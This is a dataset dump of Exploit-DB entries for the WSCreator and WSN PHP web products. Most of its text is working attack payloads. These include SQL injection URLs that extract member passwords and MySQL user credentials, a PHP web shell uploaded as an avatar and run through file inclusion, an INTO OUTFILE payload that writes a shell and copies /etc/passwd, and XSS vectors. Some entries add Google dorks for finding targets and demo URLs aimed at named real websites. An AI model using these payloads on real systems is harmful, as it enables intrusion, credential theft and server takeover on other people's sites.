deardaniel/secdata-raw huggingface dataset:
Exploit-DB #10446
Description: WSCreator 1.1 - Blind SQL Injection
Type: webapps
Platform: php
Date: 2009-12-14
Author: Salvatore Fresta

Exploit:
 Name              WSCreator
 Vendor            http://www.wscreator.com
 Versions Affected 1.1

 Author            Salvatore Fresta aka Drosophila
 Website           http://www.salvatorefresta.net
 Contact           salvatorefresta [at] gmail [dot] com
 Date              2009-12-15

X. INDEX

 I.    ABOUT THE APPLICATION
 II.   DESCRIPTION
 III.  ANALYSIS
 IV.   SAMPLE CODE
 V.    FIX


I. ABOUT THE APPLICATION

Based on one of the world's leading structure  and content
management systems - WebSiteAdmin, WSCreator  (WS standing
for WebSite) is powerful application for handling multiple
websites. This is a commercial application.


II. DESCRIPTION

The email  value is not properly sanitised  when an INSERT
query  is  used and  this is  the cause of  the  Blind SQL
Injection.


III. ANALYSIS

Summary:

 A) Blind SQL Injection

A) Blind SQL Injection

Like I wrote previous, the email field is not properly san
itised, infact if you try to insert an "'", you will obtain
a SQL error message like the following:

You have an error in your SQL syntax; check the manual that
corresponds  to  your  MySQL  server  version for the right
syntax to use near ''','127.0.0.1','[PII_REDACTED]','error','')

The module affected is ADMIN/loginaction.php at line 2.
As you can see, that is a INSERT SQL syntax.

In  order to  exploit  this vulnerability,  the flag Magic
Quotes GPG (php.ini) must be Off.


IV. SAMPLE CODE

username: ',(SELECT BENCHMARK(99999999, MD5(0x90))),'','','')#
password: foo


V. FIX

No Fix.
Exploit-DB #6208
Description: Wsn (Multiple Products) - Local File Inclusion / Code Execution
Type: webapps
Platform: php
Date: 2008-08-06
Author: otmorozok428

Exploit:
Author: otmorozok428, http://forum.antichat.ru 

Products: Wsn Forum <= 4.1.43, Wsn Knowledge Base <= 4.1.36, Wsn Links <= 4.1.44, Wsn Gallery <= 4.1.30

Vendor: http://www.webmastersite.net

Googling: inurl:memberlist.php?action=profile

Code Execution Vulnerability: 

Avatar evil.jpg source: <? system($_GET['cmd']); ?>

Enter to upload: http://www.site.com/forum/profile.php?action=editprofile&id=[Your User ID]

See the avatar name at your profile.

Upload evil avatar and go to: index.php?custom=yes&TID=../../attachments/avatars/[Avatar Name]&ext=jpg&cmd=ls -al

# milw0rm.com [2008-08-06]
Exploit-DB #18193
Description: WSN Classifieds 6.2.12/6.2.18 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2011-12-02
Author: d3v1l

Exploit:
################################################################################################


#  Exploit Title: WSN Classifieds v.6.2.12 & 6.2.18 Multiple Vulnerabilities    

#  Script Page : http://www.wsnclassifieds.com
   
#  Date: 1-12-2011

#  Author : RandomStorm  - http://www.randomstorm.com

#  Avram Marius Gabriel (d3v1l)

#  Tested on: Windows XP & Vista (IE9 - Firefox 8.0) 
 
#  Note: Redirect and Html Injection can be performed also 
 

################################################################################################ 
 
# Cross-Site Scripting (XSS) 

# XSS POC:  
 
# Vector:  "><img src="x:x" onerror="alert('XSS')">

# http://localhost/wsnclassifieds/suggest.php/58a2e"><img src="x:x" onerror="alert('XSS')">c6cc2cdff91 

# http://localhost/wsnclassifieds/sitemap.php/56218"><img src="x:x" onerror="alert('XSS')">d82e0881337

# http://localhost/wsnclassifieds/register.php/66eb5"><img src="x:x" onerror="alert('XSS')">090ab232720

# http://localhost/wsnclassifieds/leaders.php/68c0c"><img src="x:x" onerror="alert('XSS')">026a50f9084

# http://localhost/wsnclassifieds/index.php/d0c15"><img src="x:x" onerror="alert('XSS')">9086e589577

# http://localhost/wsnclassifieds/contactform.php/b3007"><img src="x:x" onerror="alert('XSS')">16aadfe1637


################################################################################################ 
 
# Vector:  "><script>alert(1)</script>
 
# http://localhost/wsnclassifieds/index.php?action=userlogin7375e"><script>alert(1)</script>87668222c12&filled=1

# http://localhost/wsnclassifieds/contactform.php?filled=11aefd"><script>alert(1)</script>6db4597a5ab

# http://localhost/wsnclassifieds/suggest.php?action=addcata5886"><script>alert(1)</script>e10802ab7a0&parent=1

# http://localhost/wsnclassifieds/suggest.php?action=addcat&parent=15b2f5"><script>alert(1)</script>9ade5081a20 
 

################################################################################################   


# Sql Injection 

# http://localhost/wsnclassifieds/memberlist.php?ascdesc=desc&field=name&perpage=(SQL)

################################################################################################ 


# Note: All Vulnerabilities work also on :

#  WSN Gallery - media gallery script
#  WSN KB - article directory script
#  WSN Forum - message board script
#  WSN Directory - business directory script
#  WSN Software Directory - software directory script
#  WSN Shop - storefront script 

# Some of it uses "calendar" so the Sql injection will be performed also from "calendar.php?yearID=2011&monthID=12&dayID=SQL"


################################################################################################
Exploit-DB #26567
Description: WSN Forum 1.21 - 'memberlist.php' SQL Injection
Type: webapps
Platform: php
Date: 2005-11-23
Author: r0t

Exploit:
source: https://www.securityfocus.com/bid/15549/info

WSN Forum is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.

http://www.example.com/memberlist.php?action=profile&id=1[SQL]
Exploit-DB #11344
Description: WSN Guest - Database Disclosure
Type: webapps
Platform: php
Date: 2010-02-07
Author: HackXBack

Exploit:
####################################################################
.:. Author : HackXBack [h-b@usa.com]
.:. Team : Sec Attack Team
.:. Home : www.sec-attack.com/vb
.:. Script : WSN Guest
.:. Bug Type : Database Disclosure
.:. Dork : "Powered by WSN Guest"

####################################################################

===[ Exploit ]===

http://server/wsnguest/admin/backup.sql


####################################################################

Greats T0: All Member Sec Attack
Exploit-DB #11436
Description: WSN Guest 1.02 - 'orderlinks' SQL Injection
Type: webapps
Platform: php
Date: 2010-02-13
Author: Gamoscu

Exploit:
###########################
Author    : Gamoscu
Homepage  : http://www.1923turk.com
Blog      : http://gamoscu.wordpress.com/
Script    : WSN Guest 1.02
Download  : http://scripts.webmastersite.net/wsnguest/wsnguest.zip
###########################

Exploat  :index.php?page=20&orderlinks=SQL
 



http://server/wsnguest/index.php?page=20&orderlinks=+and+1=0+union+select+name,null,null,password,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23+from+wsnguest_members--



############################################################## 
# Greetz: Manas58 - Baybora - Delibey - Tiamo - Psiko - Turco - infazci - X-TRO 
##############################################################

Veda Turlarý :)
Exploit-DB #3477
Description: WSN Guest 1.21 - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2007-03-14
Author: WiLdBoY

Exploit:
<!--

WSN Guest 1.21 Version Comments.PHP "ID" SQL Injection Exploit

Type :

SQL Injection

Release Date :

{2007-03-14}

Product / Vendor :

WSN Guestbook

http://scripts.webmastersite.net/wsnguest/

Bug :

http://localhost/script/comments.php?id=-SQL Inj.-

SQL Injection Exploit :

-->

<title>WSN Guest 1.21 Version Comments.PHP "ID" SQL Injection Exploit</title>
<body bgcolor="#000000">
<form name="entryform" method="get" action="http://localhost/script/comments.php">
<table width="500" border="0" align="center">
<font face="Verdana" size="2" color="#FF0000"><b>WSN Guest 1.21 Version Comments.PHP "ID" SQL Injection Exploit</b></font>
<br>
  <tr>
    <td align="right"><font face="Arial" size="1" color="#00FF00">SQL Injection Code</td>
    <td>&nbsp;</td>
    <td><input name="id" type="text" value="-1/**/UNION/**/SELECT/**/name,password,null,null,null,null,null,null,null,null,null/**/FROM/**/wsnguest_members/*" class="inputbox" style="color: #000000" style="width:300px; "></td>
  </tr>
  <tr>
    <td align="right"><font face="Arial" size="1" color="#00FF00">Search Board</td>
    <td>&nbsp;</td>
    <td>
      <select name="">
        <option>(ALL)</option>
      </select>&nbsp;
      <input type="submit" value="Apply">
    </td>
  </tr>
</table>
</form>
<center><font face="Verdana" size="2" color="#FF0000"><b>UniquE-Key{UniquE-Cracker}</b></font>
<br>
<font face="Verdana" size="2" color="#FF0000"><b>UniquE@UniquE-Key.ORG</b></font>
<br>
<font face="Verdana" size="2" color="#FF0000"><b>http://UniquE-Key.ORG</b></font></center>

<!--

Tested :

WSN Guest 1.21

Vulnerable :

WSN Guest 1.21

WSN Guest 1.02

Author :

UniquE-Key{UniquE-Cracker}
UniquE(at)UniquE-Key.Org
http://www.UniquE-Key.Org

-->

# milw0rm.com [2007-03-14]
Exploit-DB #7659
Description: WSN Guest 1.23 - 'Search' SQL Injection
Type: webapps
Platform: php
Date: 2009-01-04
Author: DaiMon

Exploit:
WSN Guest 1.23 (search.php) SQL Injection Vulnerability
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
Author    : DaiMon
Homepage  : http://www.cwdaimon.com
Contact   : cwdaimon[at]gmail.com
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
Script       : WSN Guest
 
Last version : 1.23
Download     : http://scripts.webmastersite.net/wsnguest/wsnguest.zip
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
###########################
Google Dork:
allinurl:wsnguest
###########################
Exploat  :

Username :
          [path]/search.php?filled=1&action=advanced&whichtype=entries&searchfields[0]=ownerid&search=999/**/union/**/select/**/name%20text,1,2,3,4,5,6,7,8,9,10,11,12,13/**/from/**/wsnguest_members
Password :
          [path]/search.php?filled=1&action=advanced&whichtype=entries&searchfields[0]=ownerid&search=999/**/union/**/select/**/password,1,2,3,4,5,6,7,8,9,10,11,12,13/**/from/**/wsnguest_members
###########################
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
###########################
Special : PARS! , Equilibrium , alpican , Cem , BlackFear , ALL Cyber-Warrior
###########################

# milw0rm.com [2009-01-04]
Exploit-DB #35360
Description: WSN Guest 1.24 - 'wsnuser' Cookie SQL Injection
Type: webapps
Platform: php
Date: 2011-02-18
Author: Aliaksandr Hartsuyeu

Exploit:
source: https://www.securityfocus.com/bid/46444/info

WSN Guest is prone to an SQL-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in an SQL query.

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database.

WSN Guest 1.24 is vulnerable; other versions may also be vulnerable. 

GET /wsnguest/index.php?debug=1 HTTP/1.0
Host: www.example.com
Cookie: wsnuser=[SQL Injection]
Exploit-DB #26680
Description: WSN Knowledge Base 1.2 - 'comments.php?id' SQL Injection
Type: webapps
Platform: php
Date: 2005-11-30
Author: r0t

Exploit:
source: https://www.securityfocus.com/bid/15656/info
 
WSN Knowledge Base is prone to multiple SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.
 
Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.
 
Versions 1.2.0 and prior are reported to be vulnerable; other versions may also be affected. 

http://www.example.com/comments.php?id=[SQL]
Exploit-DB #26679
Description: WSN Knowledge Base 1.2 - 'index.php' Multiple SQL Injections
Type: webapps
Platform: php
Date: 2005-11-30
Author: r0t

Exploit:
source: https://www.securityfocus.com/bid/15656/info

WSN Knowledge Base is prone to multiple SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.

Versions 1.2.0 and prior are reported to be vulnerable; other versions may also be affected. 

http://www.example.com/index.php?action=displaycat&catid=1[SQL]

http://www.example.com/index.php?todo=orderlinks&action=displaycat&
catid=1&orderlinks=id&ascdesc=desc&perpage=1[SQL]

http://www.example.com/index.php?todo=orderlinks&action=displaycat&
catid=1&orderlinks=id&ascdesc=1[SQL]

http://www.example.com/index.php?todo=orderlinks&action=displaycat&
catid=1&orderlinks=[SQL]
Exploit-DB #26681
Description: WSN Knowledge Base 1.2 - 'memberlist.php?id' SQL Injection
Type: webapps
Platform: php
Date: 2005-11-30
Author: r0t

Exploit:
source: https://www.securityfocus.com/bid/15656/info
  
WSN Knowledge Base is prone to multiple SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.
  
Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.
  
Versions 1.2.0 and prior are reported to be vulnerable; other versions may also be affected. 

http://www.example.com/memberlist.php?action=profile&id=1[SQL]
Exploit-DB #15607
Description: WSN Links - SQL Injection
Type: webapps
Platform: php
Date: 2010-11-24
Author: Mark Stanislav

Exploit:
'WSN Links' SQL Injection Vulnerability (CVE-2010-4006)
Mark Stanislav - mark.stanislav@gmail.com


I. DESCRIPTION
---------------------------------------
A vulnerability exists in the search.php code that allows for SQL injection of various parameters. By assembling portions of SQL code between the affected parameters, successful SQL injection into the software can occur. In the testing done, various 'UNION SELECT' SQL injections can occur. 

 
II. AFFECTED VERSIONS
---------------------------------------
< 6.0.1; < 5.1.51 ; < 5.0.81


III. TESTED VERSIONS
---------------------------------------
5.1.40 & 5.1.49


IV. PoC EXPLOITS 
---------------------------------------
1) A 'UNION SELECT' which results in a PHP shell-execution script
http://example.com/search.php?namecondition=IS%20NULL))%20UNION%20((SELECT%20"<?php%20system($_REQUEST[cmd]);%20?>"%20INTO%20OUTFILE&namesearch=/var/www/exec.php&action=filter&filled=1&whichtype=categories

2) A 'UNION SELECT' which results in a member's name, password hash, and e-mail to be extracted to a file
http://example.com/search.php?namecondition=IS%20NOT%20NULL))%20UNION%20((SELECT%20concat(name,0x3a,password,0x3a,email)%20FROM%20wsnlinks_members%20INTO%20OUTFILE&namesearch=/var/www/pass.txt&action=filter&filled=1&whichtype=categories

3) A 'UNION SELECT' which results in the /etc/passwd file being copied to a web directory file
http://example.com/search.php?namecondition=IS%20NOT%20NULL))%20UNION%20((SELECT%20load_file(0x2f6574632f[PII_REDACTED]64)%20INTO%20OUTFILE&namesearch=/var/www/passwd.txt&action=filter&filled=1&whichtype=categories


V. NOTES 
---------------------------------------
* The above exploits require 'FILE' SQL privilege as well as poor web directory permissions to work. 
* Only 'namecondition' and 'namesearch' are utilized for the actual SQL injection.
* There is potential to exploit this vulnerability which outputs user data directly to the browser.
* Passing 'debug=1' as a query value easily enables debug mode of tested 'WSN Links' deployments.


VI. SOLUTION
---------------------------------------
Upgrade to the most recent version of your 'WSN Links' code branch.


VII. REFERENCES
---------------------------------------
http://www.wsnlinks.com/
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-4006
http://www.uncompiled.com/2010/10/wsn-links-sql-injection-vulnerability-cve-2010-4006/

VIII. TIMELINE
---------------------------------------
10/10/2010: Initial discloure e-mail to the vendor
10/18/2010: Follow-up via the vendor's contact web form
10/18/2010: Vendor acknowledgement/commitment to fix
10/21/2010: Patched versions released
10/31/2010: Public disclosure
Exploit-DB #6525
Description: WSN Links 2.20 - 'comments.php' SQL Injection
Type: webapps
Platform: php
Date: 2008-09-22
Author: d3v1l

Exploit:
[~] WSN Links 2.20 (comments.php) - SQL Injection Vulnerability
[~]
[~] http://scripts.webmastersite.net/wsnlinks/
[~] ----------------------------------------------------------
[~] Bug founded by d3v1l
[~]
[~] Date: 21.09.2008
[~]
[~]
[~] d3v1l@spoofer.com
[~]
[~] -----------------------------------------------------------
[~] Greetz tO:-
[~] 
[~] Security-Shell Members ( http://security-sh3ll.com/forum.php )
[~] 
[~] Pentest|Gibon|Pig
[~]-------------------------------------------------------------
[~] Exploit :-
[~]
[~] http://site.com/comments.php?id=-1 UNION SELECT 1,concat(user,char(58),password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 FROM mysql.user LIMIT 0,1/*
[~]
[~] http://site.com/comments.php?id=1 UNION SELECT 1,concat_ws(0x3a,version(),database(),user()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 LIMIT 1,1/*
[~]
[~] 
[~] Demo :- 
[~]
[~] http://www.lara.on.ca/business/comments.php?id=1 UNION SELECT 1,concat_ws(0x3a,version(),database(),user()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 LIMIT 1,1/*
[~]
[~] http://www.lara.on.ca/business/comments.php?id=-1 UNION SELECT 1,concat(user,char(58),password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 FROM mysql.user LIMIT 0,1/*
[~]
[~]----------------------------------------------------------------------------------------------------------------------

# milw0rm.com [2008-09-22]
Exploit-DB #6524
Description: WSN Links 2.22/2.23 - 'vote.php' SQL Injection
Type: webapps
Platform: php
Date: 2008-09-22
Author: d3v1l

Exploit:
[~] WSN Links 2.23 AND 2.22 (vote.php) - SQL Injection Vulnerability
[~]
[~] http://scripts.webmastersite.net/wsnlinks/
[~] ----------------------------------------------------------
[~] Bug founded by d3v1l
[~]
[~] Date: 21.09.2008
[~]
[~]
[~] d3v1l@spoofer.com
[~]
[~] -----------------------------------------------------------
[~] Greetz tO:-
[~] 
[~] Security-Shell Members ( http://security-sh3ll.com/forum.php )
[~] 
[~] Pentest|Gibon|Pig
[~]-------------------------------------------------------------
[~] Exploit :-
[~]
[~] http://site.com/vote.php?id=1 UNION SELECT 1,concat_ws(0x3a,version(),database(),user()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 LIMIT 1,1/*
[~]   
[~] Demo :-
[~]
[~] 2.22
[~] 
[~] http://www.bujinkantrollhattan.com/scripts/wsnlinks/vote.php?id=1 UNION SELECT 1,concat_ws(0x3a,version(),database(),user()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 LIMIT 1,1/*
[~] 
[~] 2.23
[~]  
[~] http://linkit.kalikos.org/vote.php?id=1 UNION SELECT 1,concat_ws(0x3a,version(),database(),user()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 LIMIT 1,1/*
[~]----------------------------------------------------------------------------------------------------------------------

# milw0rm.com [2008-09-22]
Exploit-DB #4209
Description: WSN Links Basic Edition - 'catid' SQL Injection
Type: webapps
Platform: php
Date: 2007-07-21
Author: t0pP8uZz

Exploit:
--==+================================================================================+==--
--==+		    WSN Links Basic Edition SQL Injection Vulnerbility	             +==--
--==+================================================================================+==--



AUTHOR: t0pP8uZz & xprog
SITE: wsnforum.com
DORK: Google: intext:"Powered by WSN Links Basic Edition"     Altavista: "Powered by WSN Links Basic Edition"


DESCRIPTION: 
pull out member info from the database


EXPLOITS:
http://www.server.com/Script_Dir/index.php?action=displaycat&catid=1/**/and/**/1=2/**/UNION/**/ALL/**/SELECT/**/1,2,3,4,5,6,7,8,9,10,11,concat(email,0x3a,password),13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35/**/FROM/**/wsnlinks_members/**/LIMIT/**/0,1/*


NOTE/TIP: 
admin login is at Script_Dir/adminlogin.php usually the first user is admin
also the amount of 'columns' may differ althou its normally 35 or 28.
the script also uses table prefix, the most used are wsnlinks and wsn so that would make the table wsn_members ect.


GREETZ: milw0rm.com, H4CKY0u.org, G0t-Root.net !



--==+================================================================================+==--
--==+		    WSN Links Basic Edition SQL Injection Vulnerbility	             +==--
--==+================================================================================+==--

# milw0rm.com [2007-07-21]